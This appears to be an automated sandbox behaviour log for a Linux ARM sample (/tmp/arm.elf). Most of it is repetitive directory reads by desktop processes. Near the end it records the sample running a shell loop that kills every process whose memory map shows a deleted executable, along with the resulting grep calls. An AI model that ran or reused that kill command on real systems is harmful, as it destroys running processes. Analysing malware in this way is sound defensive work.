Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/samyak/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/sinhala/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/tlwg/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/type1/urw-base35/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Directory: /usr/share/fonts/X11/encodings/large/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /home/saturnino/.Xdefaults-galassia
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/local/share/fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /home/saturnino/.local/share/fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /home/saturnino/.fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/X11/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/cMap/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/cmap/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/opentype/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/type1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/X11/Type1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/X11/encodings/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/X11/misc/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/X11/util/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/opentype/malayalam/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/opentype/mathjax/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/opentype/noto/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/Gargi/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/Nakula/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/Navilu/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/Sarai/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/dejavu/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/droid/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/freefont/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/kacst/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/lao/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/lato/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/liberation/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/liberation2/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/malayalam/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/noto/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/openoffice/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/padauk/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/pagul/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/samyak/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/sinhala/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/tlwg/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/type1/urw-base35/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /usr/share/fonts/X11/encodings/large/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /home/saturnino/.cache
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /home/saturnino/.local
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Directory: /home/saturnino/.config
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /home/saturnino/.Xdefaults-galassia
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/local/share/fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /home/saturnino/.local/share/fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /home/saturnino/.fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/X11/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/cMap/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/cmap/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/opentype/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/type1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/X11/Type1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/X11/encodings/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/X11/misc/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/X11/util/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/opentype/malayalam/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/opentype/mathjax/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/opentype/noto/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/Gargi/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/Nakula/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/Navilu/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/Sarai/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/dejavu/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/droid/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/freefont/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/kacst/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/lao/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/lato/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/liberation/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/liberation2/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/malayalam/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/noto/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/openoffice/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/padauk/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/pagul/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/samyak/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/sinhala/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/tlwg/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/type1/urw-base35/.uuid
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Directory: /usr/share/fonts/X11/encodings/large/.uuid
Source: /usr/bin/xfdesktop (PID: 6552)	Directory: /home/saturnino/.Xdefaults-galassia
Source: /usr/bin/xfdesktop (PID: 6552)	Directory: /home/saturnino/.hidden
Source: /usr/bin/xfdesktop (PID: 6552)	Directory: /.hidden
Source: /usr/bin/xfdesktop (PID: 6552)	Directory: /home/.hidden
Source: /usr/bin/xfdesktop (PID: 6552)	Directory: /usr/share/fonts/.uuid
Source: /usr/bin/xfdesktop (PID: 6552)	Directory: /usr/local/share/fonts/.uuid
Source: /usr/bin/xfdesktop (PID: 6552)	Directory: /home/saturnino/.local/share/fonts/.uuid
Source: /usr/bin/xfdesktop (PID: 6552)	Directory: /home/saturnino/.fonts/.uuid
Source: /usr/bin/xfdesktop (PID: 6552)	Directory: /usr/share/fonts/X11/.uuid
Source: /usr/bin/xfdesktop (PID: 6552)	Directory: /usr/share/fonts/cMap/.uuid
Source: /usr/bin/xfdesktop (PID: 6552)	Directory: /usr/share/fonts/cmap/.uuid
Source: /usr/bin/xfdesktop (PID: 6552)	Directory: /usr/share/fonts/opentype/.uuid
Source: /usr/bin/xfdesktop (PID: 6552)	Directory: /usr/share/fonts/truetype/.uuid
Source: /usr/bin/xfdesktop (PID: 6552)	Directory: /usr/share/fonts/type1/.uuid
Source: /usr/bin/xfdesktop (PID: 6552)	Directory: /usr/share/fonts/X11/Type1/.uuid
Source: /usr/bin/xfdesktop (PID: 6552)	Directory: /usr/share/fonts/X11/encodings/.uuid
Source: /usr/bin/xfdesktop (PID: 6552)	Directory: /usr/share/fonts/X11/misc/.uuid
Source: /usr/bin/xfdesktop (PID: 6552)	Directory: /usr/share/fonts/X11/util/.uuid
Source: /usr/bin/xfdesktop (PID: 6552)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid
Source: /usr/bin/xfdesktop (PID: 6552)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid
Source: /usr/bin/xfdesktop (PID: 6552)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid
Source: /usr/bin/xfdesktop (PID: 6552)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid
Source: /usr/bin/xfdesktop (PID: 6552)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid

Source: /tmp/arm.elf (PID: 6240)	Shell command executed: sh -c "for pid in $(ls /proc \| grep -E '^[0-9]+$'); do grep -q '(deleted)' /proc/$pid/maps && kill -9 $pid \|\| true; done;"	Jump to behavior
Source: /usr/lib/xorg/Xorg (PID: 6867)	Shell command executed: sh -c "\"/usr/bin/xkbcomp\" -w 1 \"-R/usr/share/X11/xkb\" -xkm \"-\" -em1 \"The XKEYBOARD keymap compiler (xkbcomp) reports:\" -emp \"> \" -eml \"Errors from xkbcomp are not fatal to the X server\" \"/tmp/server-0.xkm\""
Source: /usr/share/language-tools/language-options (PID: 6943)	Shell command executed: sh -c "locale -a \| grep -F .utf8 "

Source: /bin/sh (PID: 6248)	Grep executable: /usr/bin/grep -> grep -E ^[0-9]+$	Jump to behavior
Source: /bin/sh (PID: 6249)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1/maps	Jump to behavior
Source: /bin/sh (PID: 6250)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/10/maps	Jump to behavior
Source: /bin/sh (PID: 6251)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/100/maps	Jump to behavior
Source: /bin/sh (PID: 6252)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/101/maps	Jump to behavior
Source: /bin/sh (PID: 6253)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/102/maps	Jump to behavior
Source: /bin/sh (PID: 6254)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/103/maps	Jump to behavior
Source: /bin/sh (PID: 6255)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/104/maps	Jump to behavior
Source: /bin/sh (PID: 6256)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/105/maps	Jump to behavior
Source: /bin/sh (PID: 6257)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/106/maps	Jump to behavior
Source: /bin/sh (PID: 6258)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/107/maps	Jump to behavior
Source: /bin/sh (PID: 6259)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/108/maps	Jump to behavior
Source: /bin/sh (PID: 6260)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/109/maps	Jump to behavior
Source: /bin/sh (PID: 6261)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/11/maps	Jump to behavior
Source: /bin/sh (PID: 6262)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/110/maps	Jump to behavior
Source: /bin/sh (PID: 6263)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/111/maps	Jump to behavior
Source: /bin/sh (PID: 6264)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/112/maps	Jump to behavior
Source: /bin/sh (PID: 6265)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/113/maps	Jump to behavior
Source: /bin/sh (PID: 6266)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/114/maps	Jump to behavior
Source: /bin/sh (PID: 6267)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/115/maps	Jump to behavior
Source: /bin/sh (PID: 6268)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/116/maps	Jump to behavior
Source: /bin/sh (PID: 6269)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/117/maps	Jump to behavior
